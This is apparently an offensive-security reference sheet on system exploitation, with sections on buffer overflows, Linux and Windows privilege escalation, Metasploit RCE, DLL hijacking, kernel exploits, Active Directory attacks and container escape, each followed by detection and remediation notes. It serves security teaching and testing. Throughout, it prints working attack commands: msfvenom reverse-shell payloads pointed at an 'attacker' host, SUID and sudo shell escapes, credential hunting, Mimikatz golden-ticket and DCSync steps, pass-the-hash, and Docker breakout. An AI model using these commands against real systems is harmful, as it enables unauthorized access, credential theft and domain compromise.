# System Exploitation Reference

## Overview
System exploitation involves taking advantage of vulnerabilities in operating systems, services, and applications to gain unauthorized access, escalate privileges, or execute arbitrary code.

**MITRE ATT&CK**: T1068 (Exploitation for Privilege Escalation), T1203 (Exploitation for Client Execution), T1210 (Exploitation of Remote Services)

---

## Buffer Overflow

### Description
Exploiting memory corruption vulnerabilities by overwriting adjacent memory locations, potentially controlling program execution flow.

### Types
- **Stack-based Buffer Overflow**: Overwriting stack data
- **Heap-based Buffer Overflow**: Corrupting heap memory
- **Integer Overflow**: Causing unexpected behavior through integer wrapping
- **Format String Vulnerabilities**: Exploiting printf-family functions

### Tools
- GDB (GNU Debugger)
- ImmunityDebugger / WinDbg (Windows)
- pwndbg / GEF (GDB extensions)
- Metasploit pattern_create/pattern_offset
- ROPgadget
- Ropper

### Testing Methodology
1. Identify vulnerable input points
2. Determine buffer size and overflow potential
3. Find offset to EIP/RIP (instruction pointer)
4. Identify bad characters
5. Find return address or ROP gadgets
6. Craft exploit payload
7. Bypass protections (DEP, ASLR, Stack Canaries)

### Example Exploit Development
```python
#!/usr/bin/env python3
import socket

# Basic buffer overflow structure
offset = 524
eip = b"\xef\xbe\xad\xde"  # Return address
nop_sled = b"\x90" * 32
shellcode = b"\x31\xc0..."  # Shellcode bytes

payload = b"A" * offset
payload += eip
payload += nop_sled
payload += shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("target", 9999))
s.send(payload)
```

### Protection Mechanisms
- **DEP/NX**: Non-executable stack/heap
- **ASLR**: Address Space Layout Randomization
- **Stack Canaries**: Detect stack corruption
- **PIE**: Position Independent Executable
- **RELRO**: GOT protection

### Detection Methods
- Memory corruption detection tools
- Stack canary violations
- Segmentation fault monitoring
- IDS/IPS signatures

### Remediation
- Use safe functions (strncpy vs strcpy)
- Enable compiler protections (stack canaries, ASLR)
- Input validation and bounds checking
- Use memory-safe languages
- Regular security updates
- Code auditing and static analysis

### References
- **MITRE ATT&CK**: T1068, T1203
- **CWE**: CWE-120 (Buffer Overflow), CWE-121 (Stack-based), CWE-122 (Heap-based)
- **CVE Examples**: CVE-2021-3156 (Sudo Baron Samedit)
- **CAPEC**: CAPEC-100 (Buffer Overflow)

---

## Linux Privilege Escalation

### Description
Techniques to elevate privileges from a low-privileged user to root on Linux systems.

### Common Vectors
- **SUID/SGID binaries**: Exploiting misconfigured setuid programs
- **Sudo misconfigurations**: Exploiting sudo permissions
- **Kernel exploits**: Exploiting kernel vulnerabilities
- **Cron jobs**: Abusing scheduled tasks
- **Writable /etc/passwd**: Direct password file modification
- **Capabilities**: Exploiting Linux capabilities
- **Docker escape**: Container breakout techniques

### Tools
- LinPEAS (Linux Privilege Escalation Awesome Script)
- LinEnum
- Linux Exploit Suggester
- pspy (process monitoring)
- GTFOBins (binary exploitation reference)

### Testing Methodology
1. Enumerate system information (kernel version, OS)
2. Check SUID/SGID binaries
3. Review sudo permissions
4. Enumerate cron jobs
5. Check for writable files/directories
6. Search for credentials in files
7. Check for kernel exploits
8. Test for container escape

### Example Commands
```bash
# System enumeration
uname -a
cat /etc/os-release
id

# SUID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null

# Sudo permissions
sudo -l

# Capabilities
getcap -r / 2>/dev/null

# Writable directories
find / -writable -type d 2>/dev/null

# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*

# Search for credentials
grep -r "password" /home 2>/dev/null
find / -name "*.conf" -exec grep -i "pass" {} \; 2>/dev/null

# Run LinPEAS
./linpeas.sh

# Check for kernel exploits
./linux-exploit-suggester.sh
```

### Common Exploitation Techniques

**SUID Binary Exploitation**:
```bash
# Example: find with SUID
find . -exec /bin/bash -p \; -quit

# Example: vim with SUID
vim -c ':!/bin/bash'
```

**Sudo Exploitation**:
```bash
# If sudo -l shows (ALL) NOPASSWD: /usr/bin/find
sudo find . -exec /bin/sh \; -quit
```

**PATH Hijacking**:
```bash
# If script runs command without full path
echo '/bin/bash' > /tmp/ls
chmod +x /tmp/ls
export PATH=/tmp:$PATH
```

### Detection Methods
- Monitor SUID binary execution
- Audit sudo usage
- Monitor privilege escalation attempts
- File integrity monitoring
- Process monitoring

### Remediation
- Minimize SUID binaries
- Restrict sudo permissions
- Keep kernel updated
- Implement SELinux/AppArmor
- Regular permission audits
- File integrity monitoring
- Secure cron job permissions

### References
- **MITRE ATT&CK**: T1068 (Exploitation for Privilege Escalation)
- **CWE**: CWE-250 (Execution with Unnecessary Privileges)
- **CVE Examples**: CVE-2021-4034 (PwnKit), CVE-2022-0847 (Dirty Pipe)
- **GTFOBins**: https://gtfobins.github.io/

---

## Windows Privilege Escalation

### Description
Techniques to elevate privileges from a standard user to SYSTEM or Administrator on Windows systems.

### Common Vectors
- **Unquoted Service Paths**: Exploiting service path parsing
- **Service Misconfigurations**: Weak service permissions
- **DLL Hijacking**: Loading malicious DLLs
- **Registry Autoruns**: Exploiting autorun entries
- **Scheduled Tasks**: Weak task permissions
- **AlwaysInstallElevated**: MSI execution as SYSTEM
- **Token Impersonation**: SeImpersonate/SeAssignPrimaryToken
- **Kernel Exploits**: Exploiting Windows kernel

### Tools
- WinPEAS
- PowerUp.ps1 (PowerSploit)
- PrivescCheck.ps1
- Seatbelt
- Windows Exploit Suggester
- Mimikatz

### Testing Methodology
1. Enumerate system information
2. Check user privileges and group memberships
3. Enumerate services and permissions
4. Check for unquoted service paths
5. Review scheduled tasks
6. Check registry autoruns
7. Search for credentials
8. Test for kernel exploits
9. Check for token impersonation opportunities

### Example Commands
```powershell
# System enumeration
systeminfo
whoami /all
net user
net localgroup administrators

# Service enumeration
sc query
wmic service get name,pathname,startmode | findstr /i auto

# Unquoted service paths
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """

# Scheduled tasks
schtasks /query /fo LIST /v

# Registry autoruns
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

# AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer
reg query HKCU\Software\Policies\Microsoft\Windows\Installer

# Search for passwords
findstr /si password *.txt *.xml *.ini *.config
dir /s *pass* == *cred* == *vnc* == *.config*

# Run WinPEAS
.\winPEAS.exe

# PowerUp
powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecks
```

### Common Exploitation Techniques

**Unquoted Service Path**:
```powershell
# If service path is C:\Program Files\My Service\service.exe
# Create C:\Program.exe or C:\Program Files\My.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker LPORT=4444 -f exe -o Program.exe
sc stop "VulnService"
sc start "VulnService"
```

**Token Impersonation** (if SeImpersonate enabled):
```powershell
# Using JuicyPotato
.\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -t * -c {CLSID}
```

**AlwaysInstallElevated**:
```bash
# Create malicious MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker LPORT=4444 -f msi -o shell.msi
# Execute as standard user
msiexec /quiet /qn /i C:\path\to\shell.msi
```

### Detection Methods
- Monitor service modifications
- Audit privilege use
- Monitor registry changes
- Process creation monitoring
- Credential access detection

### Remediation
- Quote all service paths
- Restrict service permissions
- Disable AlwaysInstallElevated
- Implement least privilege
- Regular security updates
- Use LAPS for local admin passwords
- Enable credential guard

### References
- **MITRE ATT&CK**: T1068, T1574 (Hijack Execution Flow)
- **CWE**: CWE-428 (Unquoted Search Path), CWE-732 (Incorrect Permission Assignment)
- **CVE Examples**: CVE-2021-36934 (HiveNightmare)
- **Resources**: https://github.com/swisskyrepo/PayloadsAllTheThings

---

## Remote Code Execution (RCE) Exploits

### Description
Exploiting vulnerabilities in network services to execute arbitrary code remotely.

### Common Service Exploits
- **SMB**: EternalBlue, SMBGhost
- **RDP**: BlueKeep
- **Apache**: Path Traversal, CGI exploits
- **SSH**: Weak credentials, key reuse
- **Database Services**: SQL injection to RCE

### Tools
- Metasploit Framework
- SearchSploit (Exploit-DB)
- Custom exploit scripts
- Nuclei (vulnerability scanner)

### Testing Methodology
1. Identify running services and versions
2. Search for known exploits
3. Verify vulnerability existence
4. Test exploit in safe environment
5. Execute with proper precautions
6. Establish persistence if authorized
7. Document all actions

### Example Metasploit Usage
```bash
msfconsole

# EternalBlue example
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS target_ip
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST attacker_ip
set LPORT 4444
exploit

# Apache Struts exploit
use exploit/multi/http/struts2_content_type_ognl
set RHOSTS target_ip
set TARGETURI /struts2-showcase
exploit

# Search for exploits
search cve:2021
search type:exploit platform:windows
```

### SearchSploit
```bash
# Search for exploits
searchsploit apache 2.4
searchsploit -w windows smb
searchsploit -m 48506  # Mirror exploit locally

# Update exploit database
searchsploit -u
```

### Detection Methods
- Intrusion Detection Systems (IDS)
- Exploit attempt signatures
- Unusual service behavior
- Network anomaly detection
- Endpoint Detection and Response (EDR)

### Remediation
- Regular patching and updates
- Minimize exposed services
- Implement network segmentation
- Use IDS/IPS
- Enable security logging
- Implement exploit protection (EMET, Windows Defender Exploit Guard)

### References
- **MITRE ATT&CK**: T1210 (Exploitation of Remote Services)
- **CWE**: Various depending on exploit
- **CVE Examples**:
  - CVE-2017-0144 (EternalBlue)
  - CVE-2019-0708 (BlueKeep)
  - CVE-2021-44228 (Log4Shell)
- **Exploit-DB**: https://www.exploit-db.com/

---

## DLL Hijacking

### Description
Exploiting the Windows DLL search order to load malicious DLLs instead of legitimate ones.

### Attack Types
- **DLL Search Order Hijacking**: Placing DLL in searched directory
- **Phantom DLL Hijacking**: Creating missing DLLs
- **DLL Side-Loading**: Legitimate application loading malicious DLL
- **DLL Injection**: Injecting into running process

### Tools
- Process Monitor (Sysinternals)
- Process Hacker
- DLL Hijack Scanner
- Metasploit msfvenom (DLL generation)

### Testing Methodology
1. Monitor application DLL loading with Process Monitor
2. Identify missing or searched DLLs
3. Check directory write permissions
4. Create malicious DLL
5. Place DLL in hijackable location
6. Trigger application execution

### Example Process
```bash
# Generate malicious DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker LPORT=4444 -f dll -o evil.dll

# Process Monitor filters
Operation: CreateFile
Result: NAME NOT FOUND
Path: ends with .dll

# Common hijackable locations
C:\Windows\System32\
Application directory
Current working directory
%PATH% directories
```

### Detection Methods
- Monitor DLL loads from unexpected locations
- Application whitelisting
- DLL signature verification
- Behavioral monitoring

### Remediation
- Use absolute DLL paths in code
- Enable SafeDllSearchMode
- Remove writable directories from PATH
- Implement code signing verification
- Use application control (AppLocker)
- Keep applications updated

### References
- **MITRE ATT&CK**: T1574.001 (DLL Search Order Hijacking), T1574.002 (DLL Side-Loading)
- **CWE**: CWE-426 (Untrusted Search Path), CWE-427 (Uncontrolled Search Path Element)
- **CVE Examples**: Various application-specific
- **CAPEC**: CAPEC-641 (DLL Injection)

---

## Kernel Exploits

### Description
Exploiting vulnerabilities in operating system kernels to gain elevated privileges or execute code at the kernel level.

### Impact
- SYSTEM/root level access
- Disable security mechanisms
- Install rootkits
- Kernel-level persistence

### Tools
- Linux Exploit Suggester
- Windows Exploit Suggester
- Precompiled kernel exploits
- Custom exploit development

### Testing Methodology
1. Identify kernel version and architecture
2. Search for applicable exploits
3. Check if system is vulnerable
4. Compile exploit if necessary
5. Test exploit safely
6. Document exploitation

### Example Commands
```bash
# Linux
uname -a
cat /proc/version
./linux-exploit-suggester.sh

# Example: Dirty COW (CVE-2016-5195)
gcc -pthread dirtyc0w.c -o dirtyc0w
./dirtyc0w

# Windows
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
wmic qfe list

# Example: Windows kernel exploit
.\MS16-032.ps1
Invoke-MS16-032
```

### Notable Kernel Exploits

**Linux**:
- Dirty COW (CVE-2016-5195)
- Dirty Pipe (CVE-2022-0847)
- Baron Samedit (CVE-2021-3156)
- PwnKit (CVE-2021-4034)

**Windows**:
- MS16-032 (CVE-2016-0099)
- MS17-010 (EternalBlue)
- HiveNightmare (CVE-2021-36934)

### Detection Methods
- Kernel patch verification
- Behavioral analysis
- Kernel integrity monitoring
- Security software detection

### Remediation
- Keep kernel updated
- Enable kernel protections (KASLR, SMEP, SMAP)
- Implement exploit mitigation (EMET)
- Use security software
- Regular vulnerability scanning
- Timely patch management

### References
- **MITRE ATT&CK**: T1068 (Exploitation for Privilege Escalation)
- **CWE**: CWE-250 (Execution with Unnecessary Privileges)
- **CVE Database**: https://cve.mitre.org/
- **Exploit-DB**: https://www.exploit-db.com/

---

## Active Directory Exploitation

### Description
Techniques for attacking Active Directory environments, from initial compromise to domain dominance.

### Attack Phases
1. **Enumeration**: Discovering AD structure
2. **Credential Access**: Dumping credentials
3. **Lateral Movement**: Moving between systems
4. **Privilege Escalation**: Gaining higher privileges
5. **Persistence**: Maintaining access
6. **Domain Dominance**: Compromising Domain Admin

### Tools
- BloodHound (AD relationship mapping)
- PowerView (AD enumeration)
- Mimikatz (credential dumping)
- Rubeus (Kerberos attacks)
- CrackMapExec (lateral movement)
- Impacket (Python tools)

### Common Attacks

**Kerberoasting**:
```powershell
# Request service tickets
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Crack with hashcat
hashcat -m 13100 hashes.txt wordlist.txt
```

**AS-REP Roasting**:
```powershell
# Find users without Kerberos pre-auth
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
```

**Pass-the-Hash**:
```bash
# Using Impacket
psexec.py -hashes :ntlmhash administrator@target

# Using CrackMapExec
crackmapexec smb target -u administrator -H ntlmhash
```

**Golden Ticket**:
```powershell
# Create golden ticket (requires krbtgt hash)
.\mimikatz.exe
kerberos::golden /domain:domain.com /sid:S-1-5-21... /krbtgt:hash /user:fakeadmin
```

**DCSync**:
```powershell
# Dump credentials from DC
.\mimikatz.exe
lsadump::dcsync /domain:domain.com /user:Administrator
```

### Testing Methodology
1. Initial AD enumeration
2. Identify service accounts
3. Perform Kerberoasting
4. Attempt AS-REP roasting
5. Analyze BloodHound data
6. Identify privilege escalation paths
7. Test lateral movement
8. Attempt DCSync if authorized

### Detection Methods
- Monitor Kerberos ticket requests
- Detect DCSync attempts
- Monitor for Pass-the-Hash
- Analyze BloodHound-like queries
- Monitor privileged account usage

### Remediation
- Implement tiered administration
- Use strong service account passwords
- Enable Kerberos pre-authentication
- Implement Protected Users group
- Use Credential Guard
- Monitor and alert on suspicious activities
- Regular AD security audits

### References
- **MITRE ATT&CK**: T1558 (Steal or Forge Kerberos Tickets)
- **CWE**: CWE-522 (Insufficiently Protected Credentials)
- **Resources**:
  - https://adsecurity.org/
  - https://attack.mitre.org/tactics/TA0008/

---

## Container Escape

### Description
Breaking out of container isolation to access the host system.

### Common Vectors
- **Privileged containers**: Running with --privileged
- **Docker socket exposure**: Mounting /var/run/docker.sock
- **Kernel exploits**: Shared kernel vulnerabilities
- **Misconfigured capabilities**: Excessive Linux capabilities
- **Volume mounts**: Host filesystem access

### Tools
- amicontained (container detection)
- CDK (Container penetration toolkit)
- Docker
- kubectl (Kubernetes)

### Testing Methodology
1. Identify container environment
2. Check for privileged mode
3. Look for exposed Docker socket
4. Enumerate capabilities
5. Check volume mounts
6. Test kernel exploits
7. Attempt breakout

### Example Commands
```bash
# Check if in container
cat /proc/1/cgroup
ls -la /.dockerenv

# Check capabilities
capsh --print

# Privileged container escape
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
echo 1 > /tmp/cgrp/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# Docker socket escape
docker run -v /:/hostfs -it ubuntu chroot /hostfs

# Check for sensitive mounts
mount | grep -i host
```

### Detection Methods
- Monitor container runtime security
- Detect privileged container creation
- Monitor capability usage
- Audit volume mounts
- Container security scanning

### Remediation
- Never use --privileged unless absolutely necessary
- Don't mount Docker socket
- Use minimal base images
- Implement Pod Security Standards (Kubernetes)
- Use security profiles (AppArmor, SELinux)
- Regular container scanning
- Implement runtime security monitoring

### References
- **MITRE ATT&CK**: T1611 (Escape to Host)
- **CWE**: CWE-250 (Execution with Unnecessary Privileges)
- **CVE Examples**: CVE-2019-5736 (runc)
- **Resources**: https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout
